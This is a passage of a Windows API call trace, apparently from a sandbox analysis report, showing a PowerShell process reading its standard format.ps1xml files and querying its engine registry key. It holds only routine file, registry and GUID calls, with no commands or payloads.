lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0062.386] GetLastError () returned 0xcb [0062.386] SetErrorMode (uMode=0x1) returned 0x1 [0062.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.386] GetLastError () returned 0xcb [0062.386] SetErrorMode (uMode=0x1) returned 0x1 [0062.386] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0062.386] GetLastError () returned 0xcb [0062.386] SetErrorMode (uMode=0x1) returned 0x1 [0062.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.386] GetLastError () returned 0xcb [0062.386] SetErrorMode (uMode=0x1) returned 0x1 [0062.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0062.387] GetLastError () returned 0xcb [0062.387] SetErrorMode (uMode=0x1) returned 0x1 [0062.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0062.387] GetLastError () returned 0xcb [0062.387] SetErrorMode (uMode=0x1) returned 0x1 [0062.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0062.387] GetLastError () returned 0xcb [0062.387] SetErrorMode (uMode=0x1) returned 0x1 [0062.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0062.387] GetLastError () returned 0xcb [0062.387] SetErrorMode (uMode=0x1) returned 0x1 [0062.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0062.388] GetLastError () returned 0xcb [0062.388] SetErrorMode (uMode=0x1) returned 0x1 [0062.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0062.388] GetLastError () returned 0xcb [0062.388] SetErrorMode (uMode=0x1) returned 0x1 [0062.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0062.389] GetLastError () returned 0xcb [0062.389] SetErrorMode (uMode=0x1) returned 0x1 [0062.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.398] GetLastError () returned 0xcb [0062.398] SetErrorMode (uMode=0x1) returned 0x1 [0062.398] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x320 [0062.398] GetLastError () returned 0x0 [0062.398] GetFileType (hFile=0x320) returned 0x1 [0062.398] SetErrorMode (uMode=0x1) returned 0x1 [0062.398] GetFileType (hFile=0x320) returned 0x1 [0062.399] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.400] GetLastError () returned 0x0 [0062.402] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.402] GetLastError () returned 0x0 [0062.402] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.403] GetLastError () returned 0x0 [0062.403] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.403] GetLastError () returned 0x0 [0062.403] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.403] GetLastError () returned 0x0 [0062.403] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.403] GetLastError () returned 0x0 [0062.403] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x9e2, lpOverlapped=0x0) returned 1 [0062.403] GetLastError () returned 0x0 [0062.403] ReadFile (in: hFile=0x320, lpBuffer=0x2e2db8a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2db8a*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.403] GetLastError () returned 0x0 [0062.404] ReadFile (in: hFile=0x320, lpBuffer=0x2e2e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e2e608*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.404] GetLastError () returned 0x0 [0062.404] CloseHandle (hObject=0x320) returned 1 [0062.404] GetLastError () returned 0x0 [0062.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.404] GetLastError () returned 0x0 [0062.404] SetErrorMode (uMode=0x1) returned 0x1 [0062.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e3f6c4 | out: lpFileInformation=0x2e3f6c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0062.404] GetLastError () returned 0x0 [0062.404] SetErrorMode (uMode=0x1) returned 0x1 [0062.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.404] GetLastError () returned 0x0 [0062.404] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x320) returned 0x0 [0062.404] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.404] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.405] RegCloseKey (hKey=0x320) returned 0x0 [0062.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.405] GetLastError () returned 0x0 [0062.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.405] GetLastError () returned 0x0 [0062.424] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xb4768385, Data2=0xf1e5, Data3=0x4686, Data4=([0]=0x8f, [1]=0x79, [2]=0x91, [3]=0x92, [4]=0xdc, [5]=0x31, [6]=0x0, [7]=0x85))) returned 0x0 [0062.440] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x3f04874d, Data2=0xcd02, Data3=0x4a43, Data4=([0]=0xa7, [1]=0x8d, [2]=0xaf, [3]=0x9f, [4]=0xd8, [5]=0x74, [6]=0xec, [7]=0x62))) returned 0x0 [0062.441] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.441] GetLastError () returned 0x0 [0062.441] SetErrorMode (uMode=0x1) returned 0x1 [0062.441] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x320 [0062.442] GetLastError () returned 0x0 [0062.442] GetFileType (hFile=0x320) returned 0x1 [0062.442] SetErrorMode (uMode=0x1) returned 0x1 [0062.442] GetFileType (hFile=0x320) returned 0x1 [0062.442] ReadFile (in: hFile=0x320, lpBuffer=0x2e529ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e529ac*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.444] GetLastError () returned 0x0 [0062.444] ReadFile (in: hFile=0x320, lpBuffer=0x2e529ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e529ac*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.444] GetLastError () returned 0x0 [0062.445] ReadFile (in: hFile=0x320, lpBuffer=0x2e529ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e529ac*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.445] GetLastError () returned 0x0 [0062.445] ReadFile (in: hFile=0x320, lpBuffer=0x2e529ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e529ac*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.445] GetLastError () returned 0x0 [0062.445] ReadFile (in: hFile=0x320, lpBuffer=0x2e529ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e529ac*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.445] GetLastError () returned 0x0 [0062.446] ReadFile (in: hFile=0x320, lpBuffer=0x2e529ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e529ac*, lpNumberOfBytesRead=0x14e6d4*=0xfb2, lpOverlapped=0x0) returned 1 [0062.446] GetLastError () returned 0x0 [0062.447] ReadFile (in: hFile=0x320, lpBuffer=0x2e520fe, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e520fe*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.447] GetLastError () returned 0x0 [0062.447] ReadFile (in: hFile=0x320, lpBuffer=0x2e529ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e529ac*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.447] GetLastError () returned 0x0 [0062.447] CloseHandle (hObject=0x320) returned 1 [0062.447] GetLastError () returned 0x0 [0062.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.447] GetLastError () returned 0x0 [0062.447] SetErrorMode (uMode=0x1) returned 0x1 [0062.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e7323c | out: lpFileInformation=0x2e7323c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0062.447] GetLastError () returned 0x0 [0062.447] SetErrorMode (uMode=0x1) returned 0x1 [0062.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.447] GetLastError () returned 0x0 [0062.447] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x320) returned 0x0 [0062.447] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.448] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.448] RegCloseKey (hKey=0x320) returned 0x0 [0062.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.448] GetLastError () returned 0x0 [0062.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.448] GetLastError () returned 0x0 [0062.449] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xdcaac356, Data2=0xb140, Data3=0x4f12, Data4=([0]=0xa3, [1]=0xf0, [2]=0xfc, [3]=0x78, [4]=0x43, [5]=0xdd, [6]=0xf6, [7]=0x85))) returned 0x0 [0062.458] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xd55569e9, Data2=0x6974, Data3=0x437e, Data4=([0]=0x98, [1]=0x76, [2]=0x1e, [3]=0x22, [4]=0x77, [5]=0x75, [6]=0xd0, [7]=0xe7))) returned 0x0 [0062.461] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x9c1940dd, Data2=0xc473, Data3=0x4cd3, Data4=([0]=0x9c, [1]=0xc9, [2]=0x29, [3]=0x4a, [4]=0xe9, [5]=0xd5, [6]=0x20, [7]=0x16))) returned 0x0 [0062.461] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x51d5cdc1, Data2=0xcbf3, Data3=0x41c7, Data4=([0]=0x9d, [1]=0x7a, [2]=0xcc, [3]=0xd7, [4]=0x7b, [5]=0x42, [6]=0x5b, [7]=0xb2))) returned 0x0 [0062.461] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x67bab890, Data2=0x1686, Data3=0x4270, Data4=([0]=0xb4, [1]=0x7a, [2]=0x54, [3]=0x70, [4]=0xce, [5]=0x3b, [6]=0xa5, [7]=0x61))) returned 0x0 [0062.461] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x6fb9aad2, Data2=0xd4b5, Data3=0x4922, Data4=([0]=0xb9, [1]=0x30, [2]=0x63, [3]=0x54, [4]=0x51, [5]=0x26, [6]=0x64, [7]=0x88))) returned 0x0 [0062.462] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.462] GetLastError () returned 0x0 [0062.462] SetErrorMode (uMode=0x1) returned 0x1 [0062.462] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x320 [0062.462] GetLastError () returned 0x0 [0062.462] GetFileType (hFile=0x320) returned 0x1 [0062.462] SetErrorMode (uMode=0x1) returned 0x1 [0062.462] GetFileType (hFile=0x320) returned 0x1 [0062.462] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.464] GetLastError () returned 0x0 [0062.465] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.465] GetLastError () returned 0x0 [0062.465] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.465] GetLastError () returned 0x0 [0062.466] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.466] GetLastError () returned 0x0 [0062.467] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.467] GetLastError () returned 0x0 [0062.467] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.467] GetLastError () returned 0x0 [0062.467] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0xaca, lpOverlapped=0x0) returned 1 [0062.467] GetLastError () returned 0x0 [0062.467] ReadFile (in: hFile=0x320, lpBuffer=0x2e9224e, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e9224e*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.467] GetLastError () returned 0x0 [0062.467] ReadFile (in: hFile=0x320, lpBuffer=0x2e92be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e92be4*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.467] GetLastError () returned 0x0 [0062.467] CloseHandle (hObject=0x320) returned 1 [0062.467] GetLastError () returned 0x0 [0062.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.467] GetLastError () returned 0x0 [0062.467] SetErrorMode (uMode=0x1) returned 0x1 [0062.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2eb3be0 | out: 